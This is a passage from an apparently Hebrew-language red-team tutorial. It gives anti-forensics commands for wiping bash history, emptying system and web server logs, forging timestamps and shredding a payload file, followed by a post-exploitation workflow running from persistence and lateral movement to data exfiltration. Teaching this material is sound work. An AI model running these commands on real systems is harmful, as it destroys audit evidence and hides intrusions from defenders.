$file.LastWriteTime = "01/01/2020 12:00:00"
$file.LastAccessTime = "01/01/2020 12:00:00"
```

```
:bash history מחק #
history -c
cat /dev/null > ~/.bash_history
unset HISTFILE

:הגדר שלא ישמר: #
export HISTSIZE=0
export HISTFILE=/dev/null

:logs מחק #
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
echo "" > /var/log/apache2/access.log

:timestamps שנה #
touch -t 202001010000 /path/to/file
touch -d "2 years ago" /path/to/file

:מחק קבצים בצורה בטוחה: #
shred -zuvn 5 /tmp/payload.sh # overwrite 5 פעמים
```

סיכום: Post-Exploitation Workflow

1. Initial Access → Shell
↓
2. Situational Awareness
 - whoami, id, hostname
 - ifconfig/ipconfig
 - ps, netstat
 - Domain/Workgroup?↓
3. Privilege Escalation (פרק 09)
↓
4. C2 Setup
 - Deploy persistent implant
 - Migrate to stable process↓
5. Persistence
 - Registry/Scheduled Task/Service↓
6. Internal Recon
 - Hosts, subnets
 - Services, users
 - AD enumeration (פרק 08)↓
7. Lateral Movement
 - PtH, PsExec, WMI↓
8. Repeat 3-7 per host
↓
9. Objective Completion
 - DA/root on critical servers
 - Data exfiltration↓
10. Cover Tracks (בחיים האמיתיים)

בפרק הבא: **פרק 10 — Cloud Red Teaming**: איך תוקפים AWS, Azure, ו-IAM — S3 buckets, GCP
SSRF, abuse, metadata service, לcredentials, ועוד.